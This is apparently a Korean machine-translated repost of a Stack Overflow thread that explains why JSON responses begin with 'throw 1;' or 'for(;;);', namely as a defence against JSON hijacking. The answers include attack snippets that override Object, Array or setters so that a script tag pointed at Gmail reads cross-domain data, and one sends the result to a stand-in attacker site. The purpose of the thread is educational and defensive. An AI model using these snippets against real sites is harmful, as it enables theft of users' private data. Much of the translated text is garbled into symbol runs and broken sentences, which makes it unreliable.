왜 사람들은 json 응답 앞 에 "1; " 및 "for(;;)" 와 같은 코드를 넣을까요?
Google은 다음과 같이 json을 반환합니다.
throw 1; <dont be evil> { foo: bar}
Facebooks ajax에는 다음과 같은 json이 있습니다.
for(;;); {"error":0,"errorSummary": ""}
- 왜 그들은 실행을 중지하고 무효인 json을 만드는 코드를 넣을까요?
- 무효일 경우 해석은 어떻게 하고 평가하려고 하면 크래쉬가 발생합니까?
- 그냥 끈에서 빼는 건가요(비싼 것 같음)?
- 이에 대한 보안상의 이점이 있습니까?
보안 목적의 대응:
가 다른 .script
태그를 지정하여 데이터를 가져옵니다. XHR은 교차 도메인에서 작동하지 않습니다.★★★★★★★★★★★가 없어도for(;;);
격자 어어 ?? 이? ?? ???변수에 할당되어 있지 않기 때문에 참조가 없기 때문에 쓰레기 수집이 되지 않을까요?
기본적으로는 여러 도메인에 걸쳐 데이터를 전송해야 합니다.
<script src="http://target.com/json.js"></script>
그러나 크래시 스크립트가 추가되지 않았더라도 공격자는 사용자가 전역적으로 액세스할 수 있는 변수에 할당되지 않은 상태에서 Json 데이터를 사용할 수 없습니다(이 경우 제외).크래시 코드가 없어도 사이트의 데이터를 사용하기 위해 서버 측 스크립트를 사용해야 하기 때문에 크래시 코드는 사실상 아무 것도 하지 않습니다.
★★★★★★★★★★★가 없어도
for(;;);
격자 어어 ?? 이? ?? ???
, 「」의 동작을 .Object
★★★★★★★★★★★★★★★★★」Array
그 컨스트럭터 함수를 prototype
이 'JSON'을 {...}
★★★★★★★★★★★★★★★★★」[...]
공격자 자신의 버전의 오브젝트이며 예기치 않은 동작이 발생할 수 있습니다.
를 들어를 setter로 할 수 .Object
오브젝트 리터럴에 기재되어 있는 값을 나타냅니다.
Object.prototype.__defineSetter__('x', function(x) {
alert('Ha! I steal '+x);
});
후, 「」가<script>
.
{"x": "hello"}
"hello"
유출될 수 있습니다.
배열과 오브젝트 리터럴이 설정자를 호출하는 방법은 논란의 여지가 있습니다.파이어폭스는 유명 웹 사이트에 대한 공개 공격에 대응하여 버전 3.5에서 이 동작을 제거했습니다.그러나 Safari(4)와 Chrome(5)는 여전히 이 문제에 취약합니다.
현재 모든 브라우저에서 허용되지 않는 또 다른 공격은 컨스트럭터 함수를 재정의하는 것입니다.
Array= function() {
alert('I steal '+this);
};
[1, 2, 3]
현시점에서는, IE8의 및 「」(ECMAScript 「5」)에 하고 있습니다.Object.defineProperty
에서는 하지 않습니다.Object.prototype
★★★★★★★★★★★★★★★★★」Array.prototype
.
그러나 과거의 브라우저 보호뿐만 아니라 자바스크립트에 대한 확장으로 인해 향후 유사한 종류의 잠재적 유출이 발생할 수 있으며, 이 경우 왕겨도 이러한 브라우저로부터 보호되어야 합니다.
GMail 계정을 확인한 후 내 사악한 페이지를 방문하십시오.
<script type="text/javascript">
Object = function() {
ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>
앞으로 일어날 일은 구글에서 온 자바스크립트 코드입니다. 질문자는 이 코드가 양성이라고 생각했지만, 곧바로 범위를 벗어났다고 생각했지만, 실제로는 제 사악한 사이트에 게시될 것입니다.송신하는 스크립트태그에 요구된 URL이 있다고 가정합니다(브라우저에 적절한 쿠키가 표시되므로 Google은 사용자가 받은 편지함에 로그인했다고 올바르게 간주합니다).
({
messages: [
{
id: 1,
subject: 'Super confidential information',
message: 'Please keep this to yourself: the password is 42'
},{
id: 2,
subject: 'Who stole your password?',
message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
}
]
})
이제 이 오브젝트의 시리얼 버전을 내 사악한 서버에 게시할 거야.감사해요!
이 문제를 방지하는 방법은 JSON 응답을 교묘하게 수정하여 같은 도메인에서 데이터를 조작할 수 있는 경우 해당 응답을 해독하는 것입니다.이 답변이 마음에 드시면 보빈스가 올린 글을 보세요.
편집
이러한 문자열은 일반적으로 "비교할 수 없는 크러프트"라고 불리며 JSON 사양에 영향을 미치는 정보 유출 취약성을 패치하기 위해 사용됩니다.이 공격은 현실세계이며 Gmail의 취약성은 Jeremia Grossman에 의해 발견되었습니다.또한 Mozilla는 이것이 JSON 사양의 취약성으로 간주되며 Firefox 3에서 패치되어 있습니다.그러나 이 문제는 다른 브라우저에도 영향을 미치기 때문에 호환성이 있는 패치이기 때문에 이 "비교할 수 없는 문제"가 필요합니다.
보비스의 답변은 이 공격에 대한 기술적인 설명을 담고 있고 그것은 옳다.
무효일 경우 해석은 어떻게 하고 평가하려고 하면 크래쉬가 발생합니까?
이 기능을 사용하면 크래쉬가 발생합니다.eval
eval
는 사이트 간 스크립팅 공격에 사용할 수 있는 임의의 JavaScript 코드를 허용합니다.
그냥 끈에서 빼는 건가요(비싼 것 같음)?
그렇게 짐작했어요.아마도 다음과 같습니다.
function parseJson(json) {
json = json.replace("throw 1; <dont be evil>", "");
if (/* regex to validate the JSON */) {
return eval(json);
} else {
throw "XSS";
}
}
'악당하지 말라'는 말 때문에 개발자들이eval
더 안전한 대안 대신 직접요
언급URL : https://stackoverflow.com/questions/3146798/why-do-people-put-code-like-throw-1-dont-be-evil-and-for-in-front-of
'source' 카테고리의 다른 글
django에서 GROUP BY로 쿼리하는 방법 (0) | 2022.09.08 |
---|---|
HTML 파일을 PDF로 변환 (0) | 2022.09.08 |
Mariadb 연결 클라이언트:mysql 8.0에서 사용자(암호: NO 사용)에 대한 액세스가 거부되었습니다. (0) | 2022.09.08 |
JavaScript 체크박스를 켜거나 끄다 (0) | 2022.09.08 |
크롬 및 파이어폭스의 Javascript에서 Cryptic "스크립트 오류"가 보고됨 (0) | 2022.09.08 |